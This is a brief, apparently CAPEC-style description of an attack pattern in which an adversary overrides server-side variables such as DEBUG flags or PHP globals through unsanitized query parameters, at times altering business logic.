This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.